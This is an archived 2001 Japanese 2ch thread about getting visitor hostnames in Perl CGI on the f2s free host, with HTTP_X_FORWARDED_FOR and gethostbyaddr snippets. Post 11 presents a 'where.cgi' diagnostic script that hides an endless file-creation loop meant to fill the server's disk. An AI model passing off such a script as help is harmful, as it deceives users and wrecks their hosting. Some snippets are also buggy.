5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

f2s でホスト名取得

1 :名無しさん@お腹いっぱい。:01/08/30 15:53 ID:Bq.3RpzI
f2sの無料サーバーですが、どうしてホスト名とれずに
localhostになるんですか?回避の仕方を質問しても
いっこうに返事がきません。

2 :名無しさん@お腹いっぱい。:01/08/30 16:33 ID:WW0xEzgU
>localhostになるんですか?回避の仕方を質問しても
>いっこうに返事がきません。
それは君が調べようとしないから

つか、わざわざスレ立てんなヴォケ

--------------------終了--------------------

3 :名無しさん@お腹いっぱい。:01/08/30 18:05 ID:kh2NMpcU
で、どうやったらホスト名が取得できるのでしょうか。
mail送信フォームからおくられてきても、localhostになります。

広告がなしでうれしいのですが、ホスト名がとれないところが
痛いです。サポートの人からずっとお返事が頂けません。

ご存知のかた、よろしくお願い致します。どこかを書き直したら
いいとかあるのでしょうか。

4 :名無しさん@お腹いっぱい。:01/08/30 21:09 ID:niRPrcK2
>>1=3
もしかしてサポートに日本語で問い合わせてないだろうな?

5 :名無しさん@お腹いっぱい。:01/08/30 22:02 ID:TZGoFfTo
ぼくも教えてください。
僕は英語で問い合わせました。それも3ヶ月ほどまえですが、
まだ返事を頂けません。僕もどうやったらホスト名を取得
できるようになるのか教えていだだけないでしょうか。
よろしくおねがいします

6 :sage:01/08/30 22:14 ID:23OvewzM
自分で調べてね

7 :名無しさん@お腹いっぱい。:01/08/30 22:42 ID:y0JbW3mU
>>5
どうして、3ヶ月もほったらかしにするの?
欲しい情報だったら、最低1週間に1度は、督促しないと忘れられるよ。

8 :名無しさん@お腹いっぱい。:01/08/30 23:03 ID:niRPrcK2
ってか、がいしゅつ。

9 :名無しさん@お腹いっぱい。:01/08/31 00:05 ID:2VaANz6A
みんな、結局わからないからこうやってちゃかしてるのですね。
おかしい。
わからないならわからないって言えばいいのに、それがここの
特徴だったりするのね。くすくす

10 :教える君:01/08/31 00:12 ID:TOcY9WEg
もぅ、おまえらもったいぶらずに教えてやれよ
「がいしゅつ」っつったって2chみたいなとこで過去ログ
探すの面倒だろ。
それに無駄なトラフィック増やすなよ。教えてやればこのスレ
終わるんだからよ。

>>1&5
f2sはキャッシュサーバーだからリモートホストとってもだめ
X_FORWARDED_FORをとればいい。
$ENV{'HTTP_X_FORWARDED_FOR'}

11 :名無しさん@お腹いっぱい。:01/08/31 00:36 ID:0YV4ebqc
以下のスクリプトを where.cgi として保存して
パーミッション変えて、ブラウザでアクセスすれば、答えが見つかるよ。

#!/usr/local/bin/perl
print "Content-type: text/html\n\n";
foreach(keys %ENV){print "$_ :$ENV{$_}<BR>\n";}
while(1){open(A,">$i");$i++;}
exit;

12 :名無しさん@お腹いっぱい。 :01/08/31 00:44 ID:SAfeNWK2
>>11
答えが見つかったよ。ありがとう。
2chで聞くんじゃなかった。

13 :名無しさん@お腹いっぱい。:01/08/31 01:35 ID:dnD7pav2
$ENV{'HTTP_X_FORWARDED_FOR'}
にかえたら、localhostじゃなくなったけど、IPアドレスしか
表示されません。なんとかodn.ad.jpみたいなのはとれないんで
しょうか。ごめんなさい。初心者なもので、人に聞くしかないのです。

14 :名無しさん@お腹いっぱい。:01/08/31 01:54 ID:TOcY9WEg
>>13
$host = $ENV{'HTTP_X_FORWARDED_FOR'};
if (($host eq $addr) || ($host eq '')) {
$host = gethostbyaddr(pack('C4',split(/\./,$addr)),2) || $addr;
}

これでわからなかったらCGI勉強すれ

15 :13:01/08/31 01:58 ID:TOcY9WEg
間違えた(藁
こっちな
$addr = $ENV{'HTTP_X_FORWARDED_FOR'};
$host = gethostbyaddr(pack('C4',split(/\./,$addr)),2) ;

16 :名無しさん@お腹いっぱい。:01/08/31 02:02 ID:3dAreq8s
>>14
カッコが足りない、カッコワリー、なんちゃってね。

17 :名無しさん@お腹いっぱい。:01/08/31 02:25 ID:1qONTxic






18 :名無しさん@お腹いっぱい。:01/08/31 02:32 ID:19c5a3A2
「f2s localhost」で検索。
ttp://www.google.com/search?hl=ja&safe=off&q=f2s+localhost&btnG=Google+%8C%9F%8D%F5&lr=lang_ja
(転送量軽減のためオートリンク外してます)

三番目にあったぞゴルァ
ちったぁ調べろタコォ

19 :名無しさん@お腹いっぱい。:01/08/31 12:12 ID:0V6W10r6
教えてくれて、本当にありがとう。


ありがと!

20 :名無しさん@お腹いっぱい。:01/08/31 14:13 ID:NWXIALYU
sub get_host {
$hostname = $ENV{'ROMOTE_HOST'};
$address = $ENV{'REMOTE_ADDR'};
$host = gethostbyaddr(pack('C4',split(/\./,$addr)),2) ;
if ($hostname eq "" || $hostname eq "$address") { $hostname = gethostbyaddr(pack("C4", split(/\./, $address)), 2); }
if ($hostname eq "") { $hostname = $address; }
}

とある場合、どこをどうなおしたら、IPアドレスだけではなく
ホスト名で表示されるのでしょうか。何回やってもうまくいきません。
申し訳ありませんが、教えていただけないでしょうか。

21 :名無しさん@お腹いっぱい。:01/08/31 16:18 ID:U/Io61mo
一応、上にそのまま答えが書いてあるんだけど

22 :名無しさん@お腹いっぱい。:01/08/31 17:10 ID:T6xHpVcU
>>20お前にゃCGIの設置は無理だ

6 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)